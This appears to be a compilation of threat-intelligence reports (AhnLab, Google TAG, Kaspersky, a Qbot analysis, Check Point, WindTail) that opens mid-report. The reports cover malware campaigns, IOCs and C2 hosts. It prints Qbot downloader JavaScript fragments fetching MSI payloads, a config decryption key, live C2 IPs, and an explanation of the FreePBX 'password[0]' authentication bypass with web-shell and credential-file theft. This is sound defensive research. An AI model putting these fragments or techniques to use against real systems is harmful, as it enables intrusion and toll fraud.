As shown in the examples above, the malware is being distributed actively via file sharing websites such as Korean webhards. As such, caution is advised when approaching executables downloaded from a file-sharing website. It is recommended for users to download products from the official websites of developers.
## File Detection
- Trojan/Win.Korat.C4914970 (2022.01.16.00)
- Trojan/Win.Korat.R465157 (2022.01.16.00)
- Trojan/Win.Korat.C4914985 (2022.01.16.00)
- Downloader/Win.Korat.C4914968 (2022.01.16.00)
- Downloader/Win.Korat.C4914972 (2022.01.16.00)
- Downloader/Win.Korat.C4914976 (2022.01.16.00)
- Downloader/Win.Korat.C4914977 (2022.01.16.00)
- Downloader/Win.Korat.C4914979 (2022.01.16.00)
- Downloader/Win.Korat.C4914980 (2022.01.16.00)
- Downloader/Win.Korat.C4914997 (2022.01.16.00)
- Trojan/Win.IRCGo.C4915003 (2022.01.16.00)
- Trojan/Win.IRCGo.C4915004 (2022.01.16.00)
- Trojan/Win.IRCGo.C4915005 (2022.01.16.00)
- Backdoor/Win.UDPRat.R465188 (2022.01.16.00)
## IOC
**File**
- Game Launcher
- affbad0bedccbf1812599fbce847d917
- b21ad73be72280ae30d8c5556824409e
- 889289d9d97f7c31925a451700b4b7ac
- 2a7de90437c66b3f2304630c3324e2de
- f14c51ca5d7afc1128cceca5d5a5694b
- 41320f572cdf14abc1401a72a24a621d
- d38803b3f7c0faac71a3e572e9214891
- 5d97a32e47dfa54dd1bebde208252b88
- 12baeacfd0ac2d66c5959d6305a4fe50
- Launcher
- b621005a147ef842fbc7198c8431724c
- ba43e4c84da7600881ed5ccac070e001
- b6ad8550dcd317a49c6e563a1188d9f0
- db2db486b828182c827e4fdfc292e143
- 4c1777b5763bc7655d1ca89ae4774470
- 2357c1c6027f21094fa62a35300a96ae
- 28566a08334f37d7a8d244c393e9ad33
- 4b3eff9f394ebd2231c5c0b980c62e63
- 74834f29dd5d244742879c2d800e8a53
- 4b3eff9f394ebd2231c5c0b980c62e63
- Downloader
- 42a344fbad7a56e76c83013c677330ac
- 6b029fc7a0f480b7dd6158bba680e49b
- 5a74ea453f0b424770fdddaf470f5eae
- 12c97b2481efe448b93b72b80eb96563
- 1f993f08ed40f6b03db7f78ab8e087a5
- 005247fa9b312eb449150b52b38e0a4c
- 1f2147b2a0caeb43a9a3bcaf42808581
- 63ff6d1bb53cdd2d7b7fca856826c8b6
- UDP Rat
- bff341b0c95eda801429a4b5c321f464
- 0fd264b12ea39e39da7807a117718429
- af486a4e9fdc62ac31f8424a787a460c
- 2160629e9def4c9482b4fb642c0cd2d8
- 51cfd6c6390ce99979350a9a21471d30
- 194fb8590e1218f911870c54b5830f16
- 7b73a4e6e504800e256495861d0c9f78
- 57568755bac3f20fffb970a3c6386a43
- 55b6e07ff120b6c2e784c8900333aa76
- bc18d787c4d886f24fa673bd2056e1ed
- 5be1ab1d5385d5aeadc3b498d5476761
- 1bc93ee0bd931d60d3cd636aa35176e3
- a2fc31b9c6a23e0a5acc591e46c61618
- 977c52d51d44a0a9257017b72cfafab1
- 98e4f982363c70bd9e52e5a249fce662
- Golang DDoS IRC Bot
- 7f3bd23af53c52b3e84255d7a3232111
- 00b9bf730dd99f43289eac1c67578852
- 90bfa487e9c5e8fe58263e09214e565b
- 2fe8262d0034349a030200390b23b453
- 8053b24878c4243d8eda0ccae8905ccb
**C&C Server**
- Downloader Malware
- `hxxp://organic.kibot[.]pw:2095/links/12-20`
- `hxxp://node.kibot[.]pw:2095/links/12-20`
- `hxxp://node.kibot[.]pw:2095/links/12-25`
- `hxxp://node.kibot[.]pw:8880/links/12-28`
- `hxxp://miix.kibot[.]pw:8880/links/12-28`
- `hxxp://node.kibot[.]pw:8880/links/12-28`
- `hxxp://node.kibot[.]pw:8880/links/01-13`
- UDP Rat
- 195.133.18[.]27:1234
- 195.133.18[.]27:8080
- 195.133.18[.]27:9997
Subscribe to AhnLab’s next-generation threat intelligence platform ‘AhnLab TIP’ to check related IOC and detailed analysis information. |
# Internet Explorer 0-day exploited by North Korean actor APT37
To protect our users, Google’s Threat Analysis Group (TAG) routinely hunts for 0-day vulnerabilities exploited in-the-wild. This blog will describe a 0-day vulnerability, discovered by TAG in late October 2022, embedded in malicious documents and used to target users in South Korea. We attribute this activity to a group of North Korean government-backed actors known as APT37. These malicious documents exploited an Internet Explorer 0-day vulnerability in the JScript engine, CVE-2022-41128. Our policy is to quickly report vulnerabilities to vendors, and within a few hours of discovering this 0-day, we reported it to Microsoft and patches were released to protect users from these attacks.
This is not the first time APT37 has used Internet Explorer 0-day exploits to target users. The group has historically focused their targeting on South Korean users, North Korean defectors, policymakers, journalists, and human rights activists.
## Microsoft Office document using tragic news as a lure
On October 31, 2022, multiple submitters from South Korea reported new malware to us by uploading a Microsoft Office document to VirusTotal. The document, titled “221031 Seoul Yongsan Itaewon accident response situation (06:00).docx”, references the tragic incident in the neighborhood of Itaewon, in Seoul, South Korea during Halloween celebrations on October 29, 2022. This incident was widely reported on, and the lure takes advantage of widespread public interest in the accident.
The document downloaded a rich text file (RTF) remote template, which in turn fetched remote HTML content. Because Office renders this HTML content using Internet Explorer (IE), this technique has been widely used to distribute IE exploits via Office files since 2017 (e.g., CVE-2017-0199). Delivering IE exploits via this vector has the advantage of not requiring the target to use Internet Explorer as its default browser, nor to chain the exploit with an EPM sandbox escape.
Upon investigation, TAG observed the attackers abused a 0-day vulnerability in the JScript engine of Internet Explorer.
## TAG identified Internet Explorer 0-day
The vulnerability resides within “jscript9.dll”, the JavaScript engine of Internet Explorer, and can be exploited to execute arbitrary code when rendering an attacker-controlled website. The bug itself is an incorrect JIT optimization issue leading to a type confusion and is very similar to CVE-2021-34480, which was identified by Project Zero and patched in 2021. TAG reported the vulnerability to Microsoft on October 31, 2022, and the label CVE-2022-41128 was assigned on November 3, 2022. The vulnerability was patched on November 8, 2022.
## Analysis of the exploit
In a typical delivery scenario, the initial document would have the Mark-of-the-Web applied. This means the user has to disable protected view before the remote RTF template is fetched.
When delivering the remote RTF, the web server sets a unique cookie in the response, which is sent again when the remote HTML content is requested. This likely detects direct HTML exploit code fetches which are not part of a real infection.
The exploit JavaScript also verifies that the cookie is set before launching the exploit. Additionally, it reports twice to the C2 server: before launching the exploit and after the exploit succeeds.
TAG also identified other documents likely exploiting the same vulnerability and with similar targeting, which may be part of the same campaign. Further details on those documents can be found in the “Indicators” section below.
The delivered shellcode uses a custom hashing algorithm to resolve Windows APIs. The shellcode erases all traces of exploitation by clearing the Internet Explorer cache and history before downloading the next stage. The next stage is downloaded using the same cookie that was set when the server delivered the remote RTF.
Although we did not recover a final payload for this campaign, we’ve previously observed the same group deliver a variety of implants like ROKRAT, BLUELIGHT, and DOLPHIN. APT37 implants typically abuse legitimate cloud services as a C2 channel and offer capabilities typical of most backdoors.
Additional technical information on the vulnerability, the exploit, and the patch is available in the Root Cause Analysis.
## Conclusions
TAG is committed to sharing research to raise awareness on bad actors like APT37 within the security community, and for companies and individuals that may be targeted. By improving understanding of the tactics and techniques of these types of actors, we hope to strengthen protections across the ecosystem. We will also continuously apply these findings to improve the safety and security of our products and continue to effectively combat threats and protect users who rely on our services.
We’d be remiss if we did not acknowledge the quick response and patching of this vulnerability by the Microsoft team.
## Indicators of compromise (IOCs)
**Initial documents:**
- 56ca24b57c4559f834c190d50b0fe89dd4a4040a078ca1f267d0bbc7849e9ed7
- af5fb99d3ff18bc625fb63f792ed7cd955171ab509c2f8e7c7ee44515e09cebf
- 926a947ea2b59d3e9a5a6875b4de2bd071b15260370f4da5e2a60ece3517a32f
- 3bff571823421c013e79cc10793f238f4252f7d7ac91f9ef41435af0a8c09a39
- c49b4d370ad0dcd1e28ee8f525ac8e3c12a34cfcf62ebb733ec74cca59b29f82
**Remote RTF template:**
- 08f93351d0d3905bee5b0c2b9215d448abb0d3cf49c0f8b666c46df4fcc007cb
**C2:**
- word-template[.]net
- openxmlformat[.]org
- ms-office[.]services
- ms-offices[.]com
- template-openxml[.]com |
# Новые целевые атаки RTM
**Исследование**
03 Мар 2021
мин. на чтение
Мы обнаружили новую вредоносную кампанию, за которой стоит русскоговорящая группировка RTM. Ее активная фаза началась в декабре 2020 года и продолжается до сих пор. Целью злоумышленников были деньги, однако в этот раз они не ограничились установкой банкера Trojan-Banker.Win32.RTM и подменой банковских реквизитов – в ход также пошли шифровальщик и шантаж. Нам известно о примерно десяти жертвах среди российских организаций из сфер транспорта и финансов.
Подготовительная фаза кампании началась еще в середине 2019 года, когда ряд организаций получили фишинговые письма с «корпоративными» заголовками: «Повестка в суд», «Заявка на возврат», «Закрывающие документы» или «Копии документов за прошлый месяц». Текст письма был кратким, и для получения подробной информации требовалось открыть приложенный файл. Если получатель выполнял требование, на его компьютер устанавливалось вредоносное ПО – Trojan-Banker.Win32.RTM. Для последующего закрепления в системе и продвижения внутри локальной сети организации злоумышленники использовали легитимные программы для удаленного доступа, такие как LiteManager и RMS, а также несколько самодельных вредоносных утилит небольшого размера. Основной задачей злоумышленников был поиск компьютеров, принадлежащих сотрудникам бухгалтерии, и вмешательство в работу установленной системы дистанционного банковского обслуживания (ДБО), в частности, подмена реквизитов во время проведения финансовых операций.
Но если раньше неудачное вмешательство в работу ДБО останавливало злоумышленников (или вынуждало предпринимать новые и новые попытки), то в рамках обнаруженной кампании они подготовили запасной план, и не один. Если банкер RTM не справлялся с работой, в дело вступала другая вредоносная программа – ранее неизвестный нам троянец, получивший впоследствии вердикт Trojan-Ransom.Win32.Quoter. Он шифровал содержимое всех компьютеров, до которых киберпреступники успели дотянуться, и оставлял сообщение с требованием выкупа. К этому времени с момента закрепления RTM в сети организации проходило несколько месяцев.
Шифровальщик мы назвали Quoter, т.к. в код зашифрованных файлов он добавлял цитаты из популярных кинофильмов. Для работы зловред использует алгоритм AES-256 CBC.
Если же и запасной план не срабатывал по тем или иным причинам, то спустя пару недель злоумышленники переходили к шантажу. Жертва получала сообщение, что ее данные были украдены и их возвращение обойдется буквально в миллион долларов (естественно, в биткоинах). В случае неуплаты вымогатели угрожали выложить конфиденциальную информацию в интернет для свободного скачивания. На размышление отводилось несколько дней.
Примечательным в этой истории является не только переход стоящей за RTM группировки на нетипичные для нее методы «заработка» и инструменты – вымогательство и доксинг вполне укладываются в тренды последних лет. Необычно, что злоумышленники атакуют организации в России, хотя, как правило, шифровальщики используются в целевых атаках на организации из других стран.
**IoC**
589ab3de15696b51e77b8923d1ed7e40 — Trojan-Ransom.Win32.Quoter |
# Qbot Testing Malvertising Campaigns
Malvertising has seen a significant uptick recently, the timing appears to coincide with Microsoft blocking most office files with macros downloaded from the web by default. Brad Duncan put out an article showing screenshotter being delivered via malvertising on Google Ads. While investigating the listed C2 server, I noticed what appeared to be two naming conventions being used.
The ones named Document show up in redirect chains that can be seen on UrlScan. We can find emails uploaded to VirusTotal with some of these links onboard, a3c19a469f6a9337c8e33fb9249e6381eeebd5ab.
Good day, I really need your opinion on all these files in the attachment.
Pivot to a QakBot. The TeamViewer named JavaScript files stand out as they appear to be based on a template of some kind, example: ef930c5607b24cd1b106a944e62e67c5004795a5.
A few interesting pieces of this file:
```
anExpression = 4 * (4 / 5) + 5;
aSecondExpression = Math.PI * radius * radius;
g = "w"; f = "h"; o = "p"; heskkr = "."; p = ".co"; s = "n"; u = "i"; ka = "ke"; n = "t";
var today = new Date(); // Assign today's date to the variable today.
var a = new Array(4);
kRate.InstallProduct(sAssign);
```
These pieces can be pivoted on to find a similarly named JavaScript file: 44221d33eb4f6c9f7067cd7ddb1d8feb43ded30a. This file has some definite overlap in the template that was used:
```
anExpression = 4 * (4 / 5) + 5;
aSecondExpression = Math.PI * radius * radius;
g = "w"; f = "h"; o = "p"; h = "."; p = "c"; s = "n"; u = "i"; ka = "1"; n = "t";
var today = new Date(); // Assign today's date to the variable today.
var a = new Array(4);
k.InstallProduct(String.fromCharCode(Math.random()*0+104)+String.fromCharCode);
```
The difference in this case, however, is what is downloaded: hxxp://richtools.info/qqq.msi. Pivoting on the TLSH of this file also leads to another JavaScript file: 5ea8d40ca22df82aa4512bb359748dbbe1844ec8.
```
var url = "hxxp://216.120.201.170/downloads/ZoomInstallerFull.msi"
```
This time possibly a Zoom theme? The first domain delivering qqq.msi was delivering this MSI package: 72cef301ca25db6f1aa42f9380ab12ae2e99a725.
Inside this package resides a QakBot stager, the config encoding has been slightly changed since the last time I checked:
```
def decode_data4(data):
key = hashlib.sha1(b'bUdiuy81gYguty@4frdRdpfko(eKmudeuMncueaN').digest()
rc4 = ARC4.new(key)
t = rc4.decrypt(data)
tt = qbot_helpers.qbot_decode(t[20:])
return(tt)
```
Nothing too new just using multiple previously used methods to decrypt the config, parsing is also slightly different with the addition of a new flag value mixed in:
```
def parse_c2(data):
out = ""
if len(data) % 7 == 0:
for i in range(0,len(data),7):
if i > 1:
out += ','
(f, o1, o2, o3, o4, p) = struct.unpack_from('>BBBBBH', data[i:])
out += ("{} | {}.{}.{}.{}:{}".format(f,o1,o2,o3,o4,p))
if len(data[i+7:]) < 7:
break
elif len(data) % 8 == 0:
for i in range(0,len(data),8):
if i > 1:
out += ','
(f, o1, o2, o3, o4, p, ff) = struct.unpack_from('>BBBBBHB', data[i:])
out += ("{} | {}.{}.{}.{}:{} | {}".format(f,o1,o2,o3,o4,p,ff))
if len(data[i+8:]) < 8:
break
return out
```
QakBot config:
```
{'CONF1': b'10=BB12\r\n3=1675090602\r\n', 'C2': '1 | 24.9.220.167:443 | 1,1 | 92.239.81.124:443 | 1,1 | 12.172.173.82:32101 | 1,1 | 162.248.14.107:443 | 1,1 | 213.31.90.183:2222 | 1,1 | 217.128.200.114:2222 | 1,1 | 71.31.101.183:443 | 1,1 | 81.229.117.95:2222 | 1,1 | 184.68.116.146:2222 | 1,1 | 86.130.9.183:2222 | 0,1 | 92.154.45.81:2222 | 1,1 | 70.64.77.115:443 | 1,1 | 24.71.120.191:443 | 1,1 | 86.225.214.138:2222 | 1,1 | 86.165.225.227:2222 | 0,1 | 172.90.139.138:2222 | 1,1 | 92.207.132.174:2222 | 1,1 | 70.160.80.210:443 | 1,1 | 58.162.223.233:443 | 1,1 | 47.61.70.188:2078 | 0,1 | 119.82.122.226:443 | 0,1 | 84.35.26.14:995 | 1,1 | 73.36.196.11:443 | 1,1 | 24.123.211.131:443 | 0,1 | 23.251.92.57:2222 | 0,1 | 208.180.17.32:2222 | 1,1 | 75.156.125.215:995 | 1,1 | 47.196.203.73:443 | 0,1 | 173.178.151.233:443 | 1,1 | 198.2.51.242:993 | 1,1 | 103.12.133.134:2222 | 0,1 | 86.194.156.14:2222 | 0,1 | 88.126.94.4:50000 | 1,1 | 75.191.246.70:443 | 1,1 | 76.80.180.154:995 | 1,1 | 174.104.184.149:443 | 1,1 | 12.172.173.82:465 | 1,1 | 92.154.17.149:2222 | 1,1 | 77.124.33.54:443 | 0,1 | 173.18.126.3:443 | 1,1 | 27.0.48.205:443 | 1,1 | 197.1.12.81:443 | 0,1 | 86.250.12.217:2222 | 0,1 | 93.238.63.3:995 | 0,1 | 201.244.108.183:995 | 1,1 | 86.176.37.65:443 | 0,1 | 72.80.7.6:995 | 1,1 | 47.34.30.133:443 | 1,1 | 5.193.24.225:2222 | 0,1 | 50.68.204.71:993 | 1,1 | 67.61.71.201:443 | 1,1 | 49.245.127.223:2222 | 0,1 | 12.172.173.82:50001 | 1,1 | 90.162.45.154:2222 | 1,1 | 87.56.238.53:443 | 0,1 | 73.165.119.20:443 | 1,1 | 200.109.207.186:2222 | 0,1 | 37.14.229.220:2222 | 1,1 | 12.172.173.82:990 | 1,1 | 121.121.100.207:995 | 0,1 | 66.191.69.18:995 | 1,1 | 74.92.243.113:50000 | 1,1 | 94.70.92.137:2222 | 0,1 | 142.119.127.214:2222 | 0,1 | 181.118.206.65:995 | 1,1 | 50.68.204.71:995 | 1,1 | 31.120.202.209:443 | 1,1 | 41.62.225.148:443 | 0,1 | 72.88.245.71:443 | 1,1 | 76.170.252.153:995 | 1,1 | 184.68.116.146:3389 | 1,1 | 109.149.148.161:2222 | 0,1 | 136.35.241.159:443 | 1,1 | 92.8.190.175:2222 | 0,1 | 91.68.227.219:443 | 1,1 | 69.159.158.183:2222 | 0,1 | 27.109.19.90:2078 | 1,1 | 206.188.201.143:2222 | 0,1 | 50.68.204.71:443 | 1,1 | 69.119.123.159:2222 | 1,1 | 181.118.183.2:443 | 0,1 | 172.248.42.122:443 | 1,1 | 90.78.138.217:2222 | 1,1 | 83.7.54.167:443 | 0,1 | 12.172.173.82:2087 | 1,1 | 75.143.236.149:443 | 1,1 | 69.133.162.35:443 | 1,1 | 130.43.172.217:2222 | 0,1 | 27.99.45.237:2222 | 1,1 | 125.20.112.94:443 | 1,1 | 85.59.61.52:2222 | 1,1 | 47.16.76.122:2222 | 0,1 | 12.172.173.82:995 | 1,1 | 79.26.203.25:443 | 0,1 | 87.202.101.164:50000 | 1,1 | 86.207.227.152:2222 | 0,1 | 98.175.176.254:995 | 0,1 | 105.184.103.7:995 | 0,1 | 190.249.231.121:443 | 0,1 | 65.95.85.172:2222 | 1,1 | 86.172.79.135:443 | 0,1 | 76.64.202.88:2222 | 0,1 | 109.11.175.42:2222 | 1,1 | 89.115.196.99:443 | 1,1 | 109.148.227.154:443 | 0,1 | 173.76.49.61:443 | 1,1 | 175.139.129.94:2222 | 0,1 | 103.141.50.151:995 | 1,1 | 183.87.163.165:443 | 1,1 | 75.98.154.19:443 | 1,1 | 31.53.29.161:2222 | 0,1 | 213.67.255.57:2222 | 1,1 | 85.241.180.94:443 | 1,1 | 151.65.168.222:443 | 0,1 | 87.221.197.113:2222 | 0,1 | 70.77.116.233:443 | 1,1 | 184.68.116.146:2222 | 1,1 | 86.96.72.139:2222 | 0,1 | 74.214.61.68:443 | 1,1 | 74.33.196.114:443 | 1'}
```
IOCs:
- richtools.info
- 216.120.201.170
- JS: 44221d33eb4f6c9f7067cd7ddb1d8feb43ded30a
- 5ea8d40ca22df82aa4512bb359748dbbe1844ec8
- MSI: 72cef301ca25db6f1aa42f9380ab12ae2e99a725 |
1234567891011121314151617181920212223 |
# INJ3CTOR3 Operation – Leveraging Asterisk Servers for Monetization
## Intro
Recently, Check Point Research encountered a series of worldwide attacks relevant to VoIP, specifically to Session Initiation Protocol (SIP) servers. Based on information provided by our global sensors, there appears to be a systematic exploitation pattern of SIP servers from different manufacturers. Further exploration revealed that this is part of a large, profitable business model run by hackers.
Hacking SIP servers and gaining control allows hackers to abuse them in several ways. One of the more complex and interesting ways is abusing the servers to make outgoing phone calls, which are also used to generate profits. Making calls is a legitimate feature; therefore, it’s hard to detect when a server has been exploited.
During our research, we discovered a new campaign targeting Sangoma PBX (an open-source web GUI that manages Asterisk). Asterisk is the world’s most popular VoIP PBX system, and it is used by many Fortune 500 companies for telecommunications. The attack exploits CVE-2019-19006, a critical vulnerability in Sangoma, granting the attacker admin access to the system.
During the first half of 2020, we observed numerous attack attempts on sensors worldwide. We exposed the attacker’s entire attack flow, from the initial exploitation of CVE-2019-19006 to uploading encoded PHP files that leverage the compromised system. In this article, we first examine the infection vector used by the attacker, as well as the vulnerability exploited. We then investigate the threat actors behind the specific campaign. Lastly, we explain their modus operandi.
## Infection Vector
As mentioned in the Introduction, the campaign starts with scanning, continues with exploiting the vulnerability, and proceeds all the way to web shell installation. Gaining access to the systems allows the hackers to abuse the servers for their own purposes. CVE-2019-19006 is an Authentication Bypass vulnerability published in November 2019. Check Point Research was able to deduce the vulnerability by examining both the captured attack traffic and Sangoma’s GitHub repository for FreePBX Framework.
In vulnerable versions of Sangoma FreePBX, the authentication function works by first setting a session for the supplied username and removes the session setting if the supplied password does not match the one stored in the database. Additionally, FreePBX does not perform input sanity on the password parameter during the login process. By sending the password query parameter as an array element, attackers can cause the authentication function to fail before the session is unset, thereby retaining a legitimate session for the chosen username, admin included.
Issuing the above request to a vulnerable FreePBX server allows the attackers to log in as the admin user. The value of ‘password’ does not matter, as the vulnerability depends on sending the parameter as an array element, ‘password[0]’.
## Attack Flows
The attack begins with SIPVicious, a popular tool suite for auditing SIP-based VoIP systems. The attacker uses the svmap module to scan the internet for SIP systems running vulnerable FreePBX versions. Once found, the attacker exploits CVE-2019-19006, gaining admin access to the system.
After bypassing the authentication step, the attacker uses the asterisk-cli module to execute a command on the compromised system and uploads a basic PHP web shell encoded in base64.
At this point, the attack diverges into two separate flows.
### First Flow
In the first flow, the initial web shell is used to retrieve the contents of Asterisk management files `/etc/amportal.conf` and `/etc/asterisk/sip_additional.conf`. These contain the credentials to the FreePBX system’s database and passwords for the various SIP extensions. This effectively gives the attackers access to the entire system and the ability to make calls out of every extension. Using the compromised Asterisk system, they then iterate over various prefixes for outgoing calls and try to call a specific phone number, possibly one of their own, in order to see which prefix they can use.
Next, the attackers use the web shell to download a base64-encoded PHP file from Pastebin. This file is padded with garbage comments—that when decoded, result in a password-protected web shell, which is also capable of retrieving the credentials to the Asterisk Internal Database and REST Interface. The attackers also attempt to remove any previous versions of their files.
### Second Flow
The second flow also uses the initial web shell to download a base64-encoded PHP file. Decoding this file results in another web shell that is not only password-protected but also employs access-control in the form of source IP validation and returns a fake HTTP 403 Forbidden message to unauthorized users.
The attackers then use the new web shell to perform the following actions:
1. Download and save a PHP file as `/tmp/k`, which in turn drops `/var/www/html/admin/views/config.php` to the disk. This is another base64-encoded PHP file, again padded with subordinate comments. When decoded, it is a password-protected web panel. This panel lets the attackers place calls using the compromised system with both FreePBX and Elastix support, as well as run arbitrary and hard-coded commands.
2. Update FreePBX Framework, possibly to patch CVE-2019-19006.
3. Download a shell script from `https://45[.]143.220.116/emo1.sh`. The URL returns an HTTP 404 Not Found error, and so its purpose is currently unknown.
4. Create a new directory at `/var/www/html/freeppx` and move all files used in the attacks.
## Threat Actor
Our global sensors helped us obtain unique strings during the exploitation of CVE-2019-19006. When we searched for some of these strings, such as “rr.php” and “yokyok”, we found a script posted online to Pastebin.
The script contains the initial web shell upload and exploits the same vulnerability. Its uploader, “INJ3CTOR3”, has uploaded additional files in the past, including authentication logs and a brute-force script. In addition, we found this name appears in an old SIP Remote Code Execution vulnerability (CVE-2014-7235) in the public sources.
Perhaps purposely, the threat actor left a “calling card” using the name “inje3t0r3-seraj”, which appears to be a variation of the Pastebin script uploader’s name. The string was set as the value of the password parameter in the malicious request sent to the Asterisk servers. As mentioned above, the value of ‘password’ does not matter.
Through further investigation, the names eventually led to multiple private Facebook groups that deal with VoIP, and more specifically, SIP server exploitation. The “voip__sip__inje3t0r3_seraj” group is the most active one, sharing admins with different relevant groups, including an admin named “injctor-seraj-rean”.
The group shares a number of tools related to SIP server exploitation: scanners, authentication bypass, and remote code execution scripts. Among these scripts, we found a variant of the brute-force script seen in the Pastebin of INJ3CTOR3. The group’s main purpose is to sell phone numbers, call plans, and live access to VoIP services compromised as part of the Inj3ct0r attacks.
## The Wide Phenomenon
Examining the content, users, and different posts published in the previously mentioned Facebook groups expanded our research. The different leads collected in the social networks led us to the conclusion that SIP attacks are quite common, particularly in the Middle East. Closely examining the profiles of the admins, active users, and carriers seen in the different groups, we found that most of them were from Gaza, the West Bank, and Egypt. We found several relevant players in the field who have published sales posts, tools, and websites. Gathering more information about the groups they manage and relevant rooms and channels they own led us to additional discoveries.
The initial findings were tutorials for how to scan, gather information on relative servers, and use exploitation scripts. The instructions simplify the process to a level where anyone can do it. Perhaps as a result, there seems to be a large and growing community involved in hacking VoIP services.
Although this can explain the infection chain, there is still a question about motivation. A further analysis led not only to the surprise that the attacks on SIP servers occur on a larger scale than initially thought, but also that there is a profound underlying economic model.
The flow chain above explains the operation model in generalized terms. However, this does not mean that all the attackers use the same tools and vulnerabilities. For instance, not all stages must be performed for an attacker to gain control of a compromised SIP server.
## Relevant IP Ranges
The very beginning of the process is when a hacker creates a list of relevant IPs per country that are currently “up.” This not only narrows the scope of the scans performed in a later stage but also helps hone in on the different countries in which the hacker is interested.
This step can usually be omitted by using smarter scanning techniques or knowledge sharing between different groups.
## Scans and Targets List
After the initial lists are created, the scanning stage begins. Various relevant scanners are available for this task, with the most common one being “SIPvicious.” The hackers obtain information relevant to the scanned devices, such as versions, that will be used in later stages. During further analysis of the different conversations, we observed the exchange of such IPs lists and scanning scripts in different forums that discuss SIP hacking.
## Attempting to Compromise SIP Servers and Gaining Control
Based on information gathered in previous stages, hackers try to exploit relevant vulnerabilities to gain control of the servers. In case of missing information, or unsuccessfully bypassing system protections, the hackers may resort to brute force.
Additional vulnerabilities relevant to VoIP, besides the one used in the INJ3CTOR3 campaign (CVE-2019-19006), were found referenced in different conversations. Moreover, members share knowledge of usernames and passwords lists, with relevant tools for hacking the systems.
If hackers successfully gain control of the system – by exploiting vulnerabilities, brute forcing the way in, or using given information – the next goal is gaining persistence on the system. This can be achieved by uploading web shells to continue communicating with the system. In the INJ3CTOR3 campaign, we saw a few web shells used in several different steps, for different functionalities.
## Using the Servers for Profit
Finally, after gaining a foothold on the exploited servers, the attacker can then make calls to any desired numbers. A possible common usage is using the exploited servers to make calls to International Premium Rate Numbers (IPRN).
When an IPRN is called, the caller is paying the owner of the IPRN per minute, the amount of which depends on the caller’s origin country. There are companies that provide a range of IPRN numbers in different plans.
With enough traffic, this model can provide sufficient profit to cover the IPRN costs. For that reason, IPRN services are often used in businesses that put callers on hold or have many clients (i.e., premium content calls). The longer the clients stay on the line, the more money the company owning the IPRN receives.
For these reasons, hackers seem to be focused on IPRN programs. Using IPRN programs not only allows the hacker to make calls but also abuse the SIP servers to generate profits. The more servers exploited, the more calls to the IPRN can be made.
In other words, hackers are considered to be a relevant market to buy IPRN plans. Thus, many posts on IPRN sales can be seen on these forums and pages.
## Attack Impact
As mentioned previously, the attackers’ end goal is to sell outgoing calls from the compromised systems, as well as access to the systems themselves.
Unrestricted access to a company’s telephone system can allow the attackers and their customers to make calls using the compromised company’s resources and eavesdrop on legitimate calls. They can also use the compromised systems for further attacks, such as using the system resources for cryptomining, spreading laterally across the company network, or launching attacks on outside targets while masquerading as the compromised company.
## Conclusion
The campaign at hand utilizes an easily exploitable vulnerability to compromise Asterisk SIP servers around the world. In-depth details regarding the vulnerability were never publicly released, yet the threat actors behind the attack managed to weaponize and abuse it for their own gain. As our research shows, the threat actors, who are located in the Palestinian Gaza Strip, share and sell their scripts. This is a phenomenon of an established operation that sets the attacks, finds the targets, and initiates the traffic to premium rate service numbers in order to inflate traffic and gain revenue. It’s not too far-fetched to assume that different attackers might use those scripts to launch their own attacks against Asterisk servers in the future.
This attack on Asterisk servers is also unusual in that the threat actors’ goal is not only to sell access to compromised systems but also use the systems’ infrastructure to generate profits. The concept of IPRN allows a direct link between making phone calls and making money. This means that further attacks can be launched from these systems.
## Protections
Check Point customers are protected by these IPS protections:
- SIPVicious Security Scanner
- Sangoma FreePBX Authentication Bypass (CVE-2019-19006)
- Command Injection Over HTTP
- Command Injection Over HTTP Payload
## IOCs
**Files:**
- ecc5a8b0192995673bb2c471074a3326bbeba431e189654c90afaddf570fb514
- 8068cf1011f8668f741e2ec61676fa9ce6a23e62ee5b3bdf014540cff06b1ebe
- d8ab22ceab199512aaada36af245d6621208d887ae0b6510fa198d6075777043
- c3b805ffe6c988db4c8843625ab2f40cb5196935e727db658b68408b7965de59
- 7c6cf2e4badbc3d4d29f4e6ed118a77d5f6e0f819244ad25b760329f25f20dd1
- f1060a686155fbbe7274073c557c24648cdf30a3f3ef2cbb184ccfc41d99fd3b
**Hosts:**
- 5[.]133.27.47
- 37[.]61.220.243
- 40[.]85.249.243
- 45[.]143.220.115
- 45[.]143.220.116
- 46[.]161.55.107
- 62[.]112.8.162
- 77[.]247.110.91
- 80[.]68.56.82
- 84[.]111.36.159
- 92[.]42.107.139
- 134[.]119.213.127
- 134[.]119.213.195
- 134[.]119.214.141
- 134[.]119.218.49
- 151[.]106.13.150
- 151[.]106.13.154
- 151[.]106.13.158
- 151[.]106.17.146
- 156[.]95.156.75
- 156[.]96.59.63
- 185[.]53.88.198
- 185[.]132.248.54
- 212[.]83.189.43 |
# Middle East Cyber-Espionage
## Analyzing WindShift's Implant: OSX.WindTail (Part 1)
**December 20, 2018**
I’ve shared various OSX.WindTail samples (password: infect3d) …don’t infect yourself! In this blog post, we’ll analyze the WindShift APT group’s 1st-stage macOS implant: OSX.WindTail (likely variant A). Specifically, we’ll detail the malware’s initial infection vector, method of persistence, capabilities, and detection and removal.
### Background
A few months ago, Taha Karim (head of malware research labs at Dark Matter) presented some intriguing research at Hack in the Box Singapore. In his presentation, “In the Trails of WindShift APT,” he detailed a new APT group (WindShift), who engaged in highly-targeted cyber-espionage campaigns. A Forbes article “Hackers Are Exposing An Apple Mac Weakness In Middle East Espionage” by Thomas Brewster also covered Karim’s research, noting that “[the APT] targeted specific individuals working in government departments and critical infrastructure across the Middle East.”
Besides WindShift’s targets, the most intriguing aspect of this APT group was their use of macOS vulnerabilities and custom macOS implants (backdoors). In his talk, Karim provided a good overview of the technique utilized by WindShift to infect macOS computers and the malware they then installed (OSX.WindTail.A, OSX.WindTail.B, and OSX.WindTape). However, my rather insatiable technical cravings weren’t fully satisfied, so I decided to dig deeper!
From the details of Karim’s talk, I was able to replicate WindShift’s macOS exploitation capabilities.
### Analyzing OSX.WindTail
Earlier today, Phil Stokes uncovered an interesting application on VirusTotal. He noted that in Karim’s talk, one of the slides contained a file name: Meeting_Agenda.zip, which was identified by Karim as malware. On VirusTotal, if we search for files with this name, we find what appears to be a match! The sample (SHA-1: 4613f5b1e172cb08d6a2e7f2186e2fdd875b24e5) is currently only detected by two anti-virus engines.
Using the similar-to: search modifier, I uncovered three other samples that are not flagged as malicious by any anti-virus engine:
- NPC_Agenda_230617.zip
- SHA-1: df2a83dc0ae09c970e7318b93d95041395976da7
- Scandal_Report_2017.zip
- SHA-1: 6d1614617732f106d5ab01125cb8e57119f29d91
- Final_Presentation.zip
